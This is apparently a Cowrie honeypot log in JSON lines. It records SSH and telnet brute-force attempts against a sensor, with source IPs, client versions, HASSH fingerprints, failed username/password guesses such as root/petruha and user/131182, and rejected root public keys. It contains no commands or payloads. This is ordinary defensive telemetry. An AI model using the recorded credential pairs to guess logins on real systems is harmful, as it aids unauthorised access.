{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45278,"dst_ip":"159.203.135.109","dst_port":23,"session":"56a605b1528d","protocol":"telnet","message":"New connection: 69.4.83.194:45278 (159.203.135.109:23) [session: 56a605b1528d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:11.609652Z"}
{"eventid":"cowrie.session.closed","duration":64.82171773910522,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:22.349735Z","src_ip":"180.235.129.180","session":"5615a081d165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":48288,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f38ff8f5568","protocol":"ssh","message":"New connection: 167.172.174.185:48288 (159.203.135.109:22) [session: 0f38ff8f5568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:23.608886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:23.613870Z","src_ip":"167.172.174.185","session":"0f38ff8f5568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:23.709038Z","src_ip":"167.172.174.185","session":"0f38ff8f5568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"12345","message":"login attempt [web/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:24.153597Z","src_ip":"167.172.174.185","session":"0f38ff8f5568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:25.244617Z","src_ip":"167.172.174.185","session":"0f38ff8f5568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7623f3be5aa","protocol":"ssh","message":"New connection: 2.57.121.25:34144 (10.17.0.5:22) [session: c7623f3be5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:29.774640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:29.779249Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:29.884373Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"131182","message":"login attempt [user/131182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:30.377682Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13111992","message":"login attempt [user/13111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:31.487093Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fb1f6701ae","protocol":"ssh","message":"New connection: 38.93.206.2:47902 (10.17.0.5:22) [session: 05fb1f6701ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:32.258411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:32.263519Z","src_ip":"38.93.206.2","session":"05fb1f6701ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:32.314394Z","src_ip":"38.93.206.2","session":"05fb1f6701ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1245780","message":"login attempt [root/1245780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:32.471477Z","src_ip":"38.93.206.2","session":"05fb1f6701ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13111983","message":"login attempt [user/13111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:32.593668Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:33.524086Z","src_ip":"38.93.206.2","session":"05fb1f6701ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":59790,"dst_ip":"159.203.135.109","dst_port":22,"session":"56a5ed13ade2","protocol":"ssh","message":"New connection: 103.148.100.146:59790 (159.203.135.109:22) [session: 56a5ed13ade2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:33.613769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:33.617736Z","src_ip":"103.148.100.146","session":"56a5ed13ade2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13101991","message":"login attempt [user/13101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:33.704054Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:33.887182Z","src_ip":"103.148.100.146","session":"56a5ed13ade2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.34329175949097,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:34.371690Z","src_ip":"69.4.83.194","session":"eccd0f2b1d34","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"130990","message":"login attempt [user/130990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:34.818746Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miguel","password":"123456","message":"login attempt [miguel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:34.998758Z","src_ip":"103.148.100.146","session":"56a5ed13ade2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":55654,"dst_ip":"159.203.135.109","dst_port":23,"session":"684ea8bae1ec","protocol":"telnet","message":"New connection: 79.139.59.21:55654 (159.203.135.109:23) [session: 684ea8bae1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:35.321841Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:35.927049Z","src_ip":"2.57.121.25","session":"c7623f3be5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:36.278322Z","src_ip":"103.148.100.146","session":"56a5ed13ade2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37080,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec0e238c6e1","protocol":"ssh","message":"New connection: 103.82.132.16:37080 (159.203.135.109:22) [session: 0ec0e238c6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:41.485967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:41.490747Z","src_ip":"103.82.132.16","session":"0ec0e238c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:41.747099Z","src_ip":"103.82.132.16","session":"0ec0e238c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petruha","message":"login attempt [root/petruha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:42.514390Z","src_ip":"103.82.132.16","session":"0ec0e238c6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"218f7f5fe245","protocol":"telnet","message":"New connection: 69.4.83.194:56740 (159.203.135.109:23) [session: 218f7f5fe245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:42.988805Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:43.772463Z","src_ip":"103.82.132.16","session":"0ec0e238c6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35402703285217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:46.963552Z","src_ip":"69.4.83.194","session":"56a605b1528d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.223.71","src_port":6690,"dst_ip":"10.17.0.5","dst_port":22,"session":"e953855b1bad","protocol":"ssh","message":"New connection: 45.156.223.71:6690 (10.17.0.5:22) [session: e953855b1bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.352831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.358166Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33480,"dst_ip":"159.203.135.109","dst_port":23,"session":"31798d5e17a1","protocol":"telnet","message":"New connection: 69.4.83.194:33480 (159.203.135.109:23) [session: 31798d5e17a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.436889Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.459835Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:d0:8f:fa:75:c0:04:0e:c7:01:09:6c:1b:f4:04:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs/NtiHDRuEtNEn1WdjNlxoHxrFtqNz5oH+8/4inVo+0edCuiT/EqDcq/CWsAfAMyUVrTeeNYJ26Ezh1p3mdC1K8iae5mlkp0LcfZLfSO3WPDe75jjdbCBt9TgihM1gt3NySZ2m4nZAFsMlWn3q1+Ttrim4eXZUBKHmGltmVVskgDzzzIGt6OnBf0f1mzZDoer3AKxJt3qEitAFTDo0xN6QpN720150HtIPMPIM3pwh6TzK+WYI8xhj7N3AM97OcdkyDyaTQ44TH0aR1ri7472j5IBgwMSBxkFAbCRj73qu1Q6rDnZ0m8KRn6l8xEsaKvccUE/31TjuR1/WtyFvj75","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:d0:8f:fa:75:c0:04:0e:c7:01:09:6c:1b:f4:04:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.906729Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:d0:8f:fa:75:c0:04:0e:c7:01:09:6c:1b:f4:04:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs/NtiHDRuEtNEn1WdjNlxoHxrFtqNz5oH+8/4inVo+0edCuiT/EqDcq/CWsAfAMyUVrTeeNYJ26Ezh1p3mdC1K8iae5mlkp0LcfZLfSO3WPDe75jjdbCBt9TgihM1gt3NySZ2m4nZAFsMlWn3q1+Ttrim4eXZUBKHmGltmVVskgDzzzIGt6OnBf0f1mzZDoer3AKxJt3qEitAFTDo0xN6QpN720150HtIPMPIM3pwh6TzK+WYI8xhj7N3AM97OcdkyDyaTQ44TH0aR1ri7472j5IBgwMSBxkFAbCRj73qu1Q6rDnZ0m8KRn6l8xEsaKvccUE/31TjuR1/WtyFvj75","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:56.910357Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:d0:f5:00:6f:37:66:d8:ae:50:07:92:8e:c7:53:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBoWtTkbYvMKqO9BQdV5MxwQtICNxTfsg/lSAQYjDOIY0fGaOTHTtsFfhrU6rft7Q140nji69TotL4s9Njw6YQWMhzB112QBda8NSAd1vbNo0/yaUdf5oLw2UDv0AxdU1zivubPOq7tOqGygrxxUEGeAe2MVsYP4M7NRBK8V5j0liOmMls32mHKtFsiHTsk09Rq26bKLVEkQJGOYX4N7PUY9bzrygxSmmA6vHicTD1k13HMeUrqj3q4PPBSBrVNSgZGzgL2wYS9bu8tSJrOSGqBYspl0FNnGS4IlrTcgZBuzkT/TUqNv40brX1ufUPYlkaGiXR+k+lgCGJSiBcWPb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:d0:f5:00:6f:37:66:d8:ae:50:07:92:8e:c7:53:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.003843Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:d0:f5:00:6f:37:66:d8:ae:50:07:92:8e:c7:53:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBoWtTkbYvMKqO9BQdV5MxwQtICNxTfsg/lSAQYjDOIY0fGaOTHTtsFfhrU6rft7Q140nji69TotL4s9Njw6YQWMhzB112QBda8NSAd1vbNo0/yaUdf5oLw2UDv0AxdU1zivubPOq7tOqGygrxxUEGeAe2MVsYP4M7NRBK8V5j0liOmMls32mHKtFsiHTsk09Rq26bKLVEkQJGOYX4N7PUY9bzrygxSmmA6vHicTD1k13HMeUrqj3q4PPBSBrVNSgZGzgL2wYS9bu8tSJrOSGqBYspl0FNnGS4IlrTcgZBuzkT/TUqNv40brX1ufUPYlkaGiXR+k+lgCGJSiBcWPb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:12:57.007620Z","src_ip":"45.156.223.71","session":"e953855b1bad","protocol":"ssh"}
